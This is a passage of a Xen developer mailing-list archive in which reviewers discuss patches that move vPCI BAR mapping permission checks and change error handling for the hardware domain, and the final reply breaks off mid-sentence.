 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6228b9-5cb7-0a2a0a5109dd-0a2a4502e446-44
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:44:28 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6228cc-6ca4-0a2a45020019-d155dd34d8ac-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:44:28 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f878135e0so458950f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:44:28 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63678sm14792257f8f.29.2026.07.23.07.44.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:44:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784817868; x=1785422668; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=iU2vQ3LZhSYrdK8dH0cM7l6dQ5LgVRLh6Aarzr4LeAc=;
        b=VG02npxSit+I6fnXqpa3Ib+35ucE74Wfk3TZCWrjqMZHXIyqHCJ075pHTC+nX9/I3y
         ujh4KRJXJtM0shf5Iy3o+FU48/AAYWjaZkibCpMIZCTGDSMHeKZnRqvwKT0C5JHBRjVo
         85zb4ccY2bq/uFVemtbBv0mPZNCZ/YAW1ArbLylp9KkO6BFy/cvAHvU/bmihtb4Hskus
         1Q/M9RScHSW3SnM76LkqjlZCutEouB9j2Cr8UZLUzywP+kQ8kvgKE9A9eaAJE/nilJnG
         QlxvqBfHUD5bc+K8exOKHKOCCcglsPYFKzHMY8/sCCM0V5SFaesugBbZirNpi1nltbIP
         PpQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784817868; x=1785422668;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=iU2vQ3LZhSYrdK8dH0cM7l6dQ5LgVRLh6Aarzr4LeAc=;
        b=r2S5tazgmGRxfLabteSRLNx0SkKEhPRNnWCC5lRqHB54t8YCIKmaX2nqub2MX8TUML
         pfrRw1Et/gpD/8uOFMT9L3CYVbj2YPXhB2U+K8PAeau7UJD5Cd98yArUB/t7h2N8EADF
         ysapZpbYMACkQTwVoAUfV5MTXBmCG9/SgZiUcYn7Bs3Z4NHWIBwtCkp8XsrCUle7XWjO
         KUb/ILf1/BemQV68IFc8suoLhNyiRi1wGERVh9XFdOe861fMlRTnH3yPd/gL2yQ/ps6L
         PsDUZRn7eNhFGn2aODjEzv3WvUrFkOXmKND4cvjClyrHGiIOcB2iyv5B9UO4uAafBKuN
         hqGA==
X-Forwarded-Encrypted: i=1; AHgh+RqtZhg6v/GeFlu0z8Yd5pwoId7Ye7cQ5O0IEkXyZel/8nQFgihHfMHZllv+qa/qGNiq6C9uL9L978I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyMKNS2xQMEeGRsfQKZ62gLqNrnjLy5l9q8se0L2c+P4PMSJv6W
	4BPjNekpFuQRHbpNpvG2BvDKm7O7PaRp6VnFeqab6PtNmrUrwb6BRt7cEsGJ2U0AQQ==
X-Gm-Gg: AR+sD126EMLKAgEIGSx5YT11BN+u0YLq5RlBlermO5TQOMTo0EumBR6GYmixYqQ3wHB
	t4BhAG5vXdEF4R/MGl2wwQ4Z2Whs886ru/Z/2skdQ9ytzO91ZebNGFc5mQMc15BD2muVDNwuctX
	n+MJ82jkDOYQ6FNPAuLTCzaVKQHsCmybZSieM3C7/ezRQBFBVxIVDMRYInyG9Q6fQYsHPak42Zr
	buczSoKUQjwfhztfTjvBg+G2E5lqVY0/4ptQOG59IJvdgysjN+yU4LaucqvA9N3+UR1UVn9tjvx
	pi5vtlR1Dk+HqQGLymjl55FKbbWwrA5EnCZAaLmCWeWIeX6wSu+9yNQm/uwxxLv+vj4cWroHlJF
	N/zkj14+M5OJkc647vwX3qUPYzkHBU8hpnbOJxhpA4XXU9SKCtI116SXlgxQdi0XxL0QGg9n4up
	MazE3YQHnZpSWuKKupF9EOqMzgAwWQJdOCGFO7qJ3AjD3VeotC13mXtIyAp/N8wM7uUNodH5GyH
	/46
X-Received: by 2002:a05:6000:2687:b0:47e:8e7a:90a0 with SMTP id ffacd0b85a97d-47f8dcaefebmr4542489f8f.52.1784817868173;
        Thu, 23 Jul 2026 07:44:28 -0700 (PDT)
Message-ID: <0255d2bf-748e-444b-8c09-f69925ec88c4@suse.com>
Date: Thu, 23 Jul 2026 16:44:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 1/9] vpci: move BAR mapping permissions checks
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-2-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-2-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784817868-66AB52AC-F90D51DE/0/0
X-purgate-type: clean
X-purgate-size: 2454

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> There's no need to defer the permissions checks. Perform them right away
> in modify_bars().
> 
> As a result of the move, the permissions checks will now cover the whole
> BAR before any holes are removed.

Is this a good idea though? A really good toolstack would avoid granting
access to e.g. the MSI-X table.

> Carry over the domain_crash() in the error path for domUs.

I don't think this is warranted.

> --- a/xen/drivers/vpci/header.c
> +++ b/xen/drivers/vpci/header.c
> @@ -58,24 +58,6 @@ static int cf_check map_range(
>           * offset of the current address from the BAR start.
>           */
>          unsigned long map_mfn = start_mfn + s - start_gfn;
> -        unsigned long m_end = map_mfn + size - 1;
> -
> -        if ( !iomem_access_permitted(map->d, map_mfn, m_end) )
> -        {
> -            printk(XENLOG_G_WARNING
> -                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
> -                   map->d, map_mfn, m_end);
> -            return -EPERM;
> -        }
> -
> -        rc = xsm_iomem_mapping_vpci(XSM_HOOK, map->d, map_mfn, m_end, map->map);
> -        if ( rc )
> -        {
> -            printk(XENLOG_G_WARNING
> -                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
> -                   map->d, map_mfn, m_end, rc);

I realize you literally only take what's here, but ...

> @@ -369,6 +351,28 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
>              return -EINVAL;
>          }
>  
> +        if ( !iomem_access_permitted(pdev->domain, start, end) )
> +        {
> +            printk(XENLOG_G_WARNING
> +                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
> +                   pdev->domain, start, end);
> +            if ( !is_hardware_domain(pdev->domain) )
> +                domain_crash(pdev->domain);
> +            return -EPERM;
> +        }
> +
> +        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
> +                                    !!(cmd & PCI_COMMAND_MEMORY));
> +        if ( rc )
> +        {
> +            printk(XENLOG_G_WARNING
> +                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
> +                   pdev->domain, start, end, rc);

... is the logging of rc actually useful? Afaict it's only ever going to be
-EPERM.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:55:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:55:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369285.1618129 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmupY-0000BC-2p; Thu, 23 Jul 2026 14:55:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369285.1618129; Thu, 23 Jul 2026 14:55:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmupX-0000B5-W8; Thu, 23 Jul 2026 14:55:23 +0000
Received: by outflank-mailman (input) for mailman id 1369285;
 Thu, 23 Jul 2026 14:55:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmupW-0000Az-Ed
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:55:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmupV-004CGn-Gz
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:55:21 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622b49-e002-0a2a0a5209dd-0a2a450a8cc4-32
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:55:21 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622b59-f2d2-0a2a450a0019-d155dd29a9b6-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 16:55:21 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so396132f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 07:55:21 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a596sm16738928f8f.4.2026.07.23.07.55.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 07:55:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784818521; x=1785423321; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=il3JEqMCYbc7juYJmftpaflwuk9Up1TDVfBFz9IMMCU=;
        b=bZs2+BLfpFWwoIk7YlJopjPh77lDn0Q55iFHounKglR715FGTeqmz/ctwwCUbnDESZ
         KLdvDnmYIW25dsT8Ol9kIGA5cLXBl7scFA37H5dekq6VPrUyCm6lJJkPOeOsgyC04Xkr
         8xQ9zw+cvVaU80EjFvB/2eCA7Gq65TGBW262AeHB6SZByplj6PCNWAPgIlYpERPOXfso
         1e1BNpL22HB2J1fvPQhS06HIopb9j1xHzWh2IyN1eY/zBECfQAmMjmvZjGiZ5XvsDNL6
         Sgm8co2JNtPF6fmACpKNf3p8JeLl2MWolVTMNHanFuN+0Qz0npy4Sjsy/iVbxZH+is0h
         D4vA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784818521; x=1785423321;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=il3JEqMCYbc7juYJmftpaflwuk9Up1TDVfBFz9IMMCU=;
        b=GZC4A+v1kZNpcyRbneJ12iA9XVzoPlu2iWR3EwVk1UdHF4xddnbEj3bm3NXJ1fl+Ut
         xnYgipsK00iiLbThs0vccQuB4HhnH4pZaOkhk+INZnpsx6WV9PDV/Cs/G1rdPIZ2AkmX
         woNONI97H8y59bGU6k7E1detFQZBqCrPVP2htF/N8p9rdHG3E4AKMd5HlwlbOpOoYi9d
         IfHSTGHrYEoSAnw1nEapZzqJB+ruliE03R14J7Yd+h+qnxUB7hLr7SHyZDCZfJ3Ptwqa
         +sk2zJ13I/HPX6TC9cVsEynWNIiSt3vBoCin/Co/cLBJkHqHK0yNTbKwB8acciNSAtoi
         Gy+w==
X-Forwarded-Encrypted: i=1; AHgh+RrOLx6stgehUXhjezlXVjIjRCBBinqf0t/tC0AiaQLq25yB6Gi/n+L1GruN18PT+yWepqV+IJ+Fa9Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxOhKBxp3y9OhUkFDksw/idkGu+9X7grt51mIhDcxkF+yDAUJcD
	GCZwARaIjProqsLdbyHdJhTH/0qvSf0htNfXIHrtqN22O6TDiWYJzSel8M7/ynt/XA==
X-Gm-Gg: AR+sD132nDZUu1tQWqaDkqCHKdIubMjPbPKV2sZ7UysiwisOvegrN+6IVWLtgRzpBdu
	RQ6BzJ6s8q9bJ0H6rrdLjRUv/2LRv51rxC4/A7NUcta1YppEpuJkDphd560wDPhY53NVQZahkgg
	CFmCvKDyjOxnylTly/2pGhYBIJ4c9O4cZ6+mPFEehPWREDvOjUfBNf+j5ZlkoM8SPdiUPF6TORQ
	jNKIOFuZmgy+9tERV+yX4FP2iGKcGJQgnWw8iSg8bJoW4pfjrF19b9vb+hEeAEuvFU1nfkgJcT3
	3pCDpquKmwkWeVZztBr++jYf9gmpj4X9Lkvi88adl1erxzojiGA7Vnkwa1BZNv/ZUxAn+7oSVV8
	rotNZlUzPNhHkaGB2GsiXTzy1e7VykWT24gygqCfIpqol4nBoSyC0CiWH2hoVwWRbOfObmtI2zy
	0XC5hIJ+1ylt8QUZkc9SF2lOTe/9lmKY6dIwlyrTQXoeovFSg1wqJ9CdNR1jsbF2wtYA==
X-Received: by 2002:a05:6000:40c6:b0:47f:71a0:c060 with SMTP id ffacd0b85a97d-47f901b4cc7mr4136089f8f.2.1784818520660;
        Thu, 23 Jul 2026 07:55:20 -0700 (PDT)
Message-ID: <252e7f23-24d7-47c5-b5d2-e03864a4fe2f@suse.com>
Date: Thu, 23 Jul 2026 16:55:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 2/9] vpci: make BAR mapping more resilient for the
 hardware domain
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-3-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSo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AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-3-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1784818521-599C1CFC-8AEEF6FD/0/0
X-purgate-type: clean
X-purgate-size: 2582

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> From: Roger Pau Monne <roger.pau@citrix.com>
> 
> The logic in map_range() will bubble up failures to the upper layer, which
> will result in any remaining regions being skip, and for the non-hardware
> domain case the owner domain of the device would be destroyed.  However for
> the hardware domain the intent is to continue execution, hoping the
> failure to modify the p2m could be worked around by the hardware domain.
> 
> To accomplish that in a better way, ignore failures and skip the range in
> that case, possibly continuing to map further ranges.
> 
> Since the error path in vpci_process_pending() should only be used by domUs
> now, and it will unconditionally end up calling domain_crash(), simplify
> it: there's no need to cleanup if the domain will be destroyed.

Aren't we increasing the number of places adjustments will need making if
that (not really nice) crashing of the domain was sorted at some point?

> Memory decoding may be left enabled in case of mapping error for devices
> assigned to domUs.

I'm similarly concerned of this. I also can't spot why this would be for
DomU-s only. The original code did it for all domains.

> --- a/xen/drivers/vpci/header.c
> +++ b/xen/drivers/vpci/header.c
> @@ -70,17 +70,26 @@ static int cf_check map_range(
>  
>          rc = map->map ? map_mmio_regions(map->d, _gfn(s), size, _mfn(map_mfn))
>                        : unmap_mmio_regions(map->d, _gfn(s), size, _mfn(map_mfn));
> -        if ( rc == 0 )
> -        {
> -            *c += size;
> -            break;
> -        }
>          if ( rc < 0 )
>          {
>              printk(XENLOG_G_WARNING
>                     "Failed to %smap [%lx %lx] -> [%lx %lx] for %pd: %d\n",
>                     map->map ? "" : "un", s, e, map_mfn,
>                     map_mfn + size, map->d, rc);
> +            goto done;
> +        }
> +        if ( rc == 0 )
> +        {
> + done:
> +            if ( is_hardware_domain(map->d) )
> +                /*
> +                 * Ignore failures for the hardware domain and skip the range.
> +                 * Do it as a best effort workaround to attempt to get the
> +                 * hardware domain to boot.
> +                 */
> +                rc = 0;

Why would this not move ahead of the "goto done"? For the if() here it's
a no-op. Then (really: independently) ...

> +            *c += size;
>              break;
>          }

... the remaining piece could be in "if ( rc <= 0 )".

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 14:57:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 14:57:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369293.1618138 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmurJ-0000gs-Cj; Thu, 23 Jul 2026 14:57:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369293.1618138; Thu, 23 Jul 2026 14:57:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmurJ-0000gl-9I; Thu, 23 Jul 2026 14:57:13 +0000
Received: by outflank-mailman (input) for mailman id 1369293;
 Thu, 23 Jul 2026 14:57:12 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wmurH-0000gf-VV
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 14:57:11 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmurF-004LIe-2B;
 Thu, 23 Jul 2026 14:57:09 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmurF-006qpV-0I;
 Thu, 23 Jul 2026 14:57:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Type:MIME-Version:
	References:Message-ID:Subject:Cc:To:From:Date;
	bh=y4AMp33c3kQPVhVUZO2NWq3KBZgkqNPLkIPWXCc29mY=; b=Y+A+aGSWsjizJxi/8ZhVlsr9Kr
	xBNeVyhrizC/ZCmifPBB0PSi5ZFYZMuDQBi+z6SDqLZvfRoRzK77I64q2j8BU53gGnGrXfLRTMkza
	iiGoVCn9ynj5FNajKHCafxCx3ClM+LI+TyH+IOm7KyGXbleA8xKIiwKz15MeIvqDWGHk=;
Date: Thu, 23 Jul 2026 16:57:04 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	xen-devel@lists.xenproject.org
Subject: Re: [PATCH v5 1/9] vpci: move BAR mapping permissions checks
Message-ID: <amIrwLuIdOBaAi9d@macbook.local>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-2-stewart.hildebrand@amd.com>
 <0255d2bf-748e-444b-8c09-f69925ec88c4@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <0255d2bf-748e-444b-8c09-f69925ec88c4@suse.com>

On Thu, Jul 23, 2026 at 04:44:26PM +0200, Jan Beulich wrote:
> On 08.07.2026 23:02, Stewart Hildebrand wrote:
> > There's no need to defer the permissions checks. Perform them right away
> > in modify_bars().
> > 
> > As a result of the move, the permissions checks will now cover the whole
> > BAR before any holes are removed.
> 
> Is this a good idea though? A really good toolstack would avoid granting
> access to e.g. the MSI-X table.
> 
> > Carry over the domain_crash() in the error path for domUs.
> 
> I don't think this is warranted.
> 
> > --- a/xen/drivers/vpci/header.c
> > +++ b/xen/drivers/vpci/header.c
> > @@ -58,24 +58,6 @@ static int cf_check map_range(
> >           * offset of the current address from the BAR start.
> >           */
> >          unsigned long map_mfn = start_mfn + s - start_gfn;
> > -        unsigned long m_end = map_mfn + size - 1;
> > -
> > -        if ( !iomem_access_permitted(map->d, map_mfn, m_end) )
> > -        {
> > -            printk(XENLOG_G_WARNING
> > -                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
> > -                   map->d, map_mfn, m_end);
> > -            return -EPERM;
> > -        }
> > -
> > -        rc = xsm_iomem_mapping_vpci(XSM_HOOK, map->d, map_mfn, m_end, map->map);
> > -        if ( rc )
> > -        {
> > -            printk(XENLOG_G_WARNING
> > -                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
> > -                   map->d, map_mfn, m_end, rc);
> 
> I realize you literally only take what's here, but ...
> 
> > @@ -369,6 +351,28 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
> >              return -EINVAL;
> >          }
> >  
> > +        if ( !iomem_access_permitted(pdev->domain, start, end) )
> > +        {
> > +            printk(XENLOG_G_WARNING
> > +                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
> > +                   pdev->domain, start, end);
> > +            if ( !is_hardware_domain(pdev->domain) )
> > +                domain_crash(pdev->domain);
> > +            return -EPERM;
> > +        }
> > +
> > +        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
> > +                                    !!(cmd & PCI_COMMAND_MEMORY));
> > +        if ( rc )
> > +        {
> > +            printk(XENLOG_G_WARNING
> > +                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
> > +                   pdev->domain, start, end, rc);
> 
> ... is the logging of rc actually useful? Afaict it's only ever going to be
> -EPERM.

I think Flask can also return -EACCES, not that it's very relevant I'm
